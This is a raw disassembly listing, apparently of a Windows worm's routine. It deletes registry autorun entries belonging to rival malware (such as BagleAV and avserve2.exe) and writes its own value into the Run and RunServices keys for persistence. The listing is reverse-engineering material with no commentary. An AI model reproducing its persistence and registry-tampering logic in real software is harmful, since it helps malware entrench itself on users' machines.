mov edx, str.CLSID35CEC8A3_2BE6_11D2_8773_92E220524153InprocServer32
mov ecx, dword [eax]
lea eax, [ebp - 0x14c]
push ecx
call fcn.0043862c
inc dword [ebp - 0x154]
mov ecx, dword [eax]
push ecx
push Ordinal_1
call fcn.004183c0
add esp, 0xc
dec dword [ebp - 0x154]
lea eax, [ebp - 0x14c]
mov edx, 2
call fcn.004386a0
dec dword [ebp - 0x154]
lea eax, [ebp - 0x148]
mov edx, 2
call fcn.004386a0
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push 0x460778
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
push str.EasyAV
push 0x4607a7
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x460813
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push reloc.DZIP32.DLL_Ordinal_1
call fcn.00417e0c
add esp, 0xc
push str.SystemTra
push 0x460817
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Hardware_Profile
push 0x460858
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Program_In_Windows
push 0x460898
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Microsoft_NetMeeting_Associates__Inc.
push 0x4608da
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.VFW_Encoder_Decoder_Settings
push 0x46092f
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Protected_Storage
push 0x46097b
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Shell_Extension
push 0x4609bc
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.Winhost
push 0x4609fb
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.FirewallSvr
push 0x460a32
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push 0x460a9c
push 0x460a6d
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.Video_Process
push 0x460aaa
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.Jammer2nd
push 0x460aef
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.BagleAV
push 0x460b28
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
push str.System_Service
push 0x460b5f
push 0x80000002
call fcn.00417e0c
add esp, 0xc
push str.SystemCurrentControlSetServicesSwartax
push 0x80000002
call fcn.00418170
add esp, 8
push str.SoftwareMicrosoftWindowsCurrentVersionWelcome
push 0x80000002
call fcn.00418170
add esp, 8
jmp case.0x41391d.2565
push str.avserve2.exe
push 0x460bfb
push 0x80000002
call fcn.00417e0c
add esp, 0xc
jmp case.0x41391d.2565
lea eax, [ebp - 0x27c]
push eax
push 0x460c37
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
lea edx, [ebp - 0x27c]
push edx
push 0x460c66
push 0x80000002
call fcn.00417f04
add esp, 0xc
jmp case.0x41391d.2565
lea ecx, [ebp - 0x27c]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call fcn.00417f04
add esp, 0xc
lea eax, [ebp - 0x27c]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call fcn.00417f04
add esp, 0xc
mov eax, 1
mov edx, dword [ebp - 0x170]
mov dword fs:[0], edx
mov esp, ebp
mov edi, dword [ebp - 0x38c]
mov esi, dword [ebp - 0x388]
mov ebx, dword [ebp - 0x384]
pop ebp
ret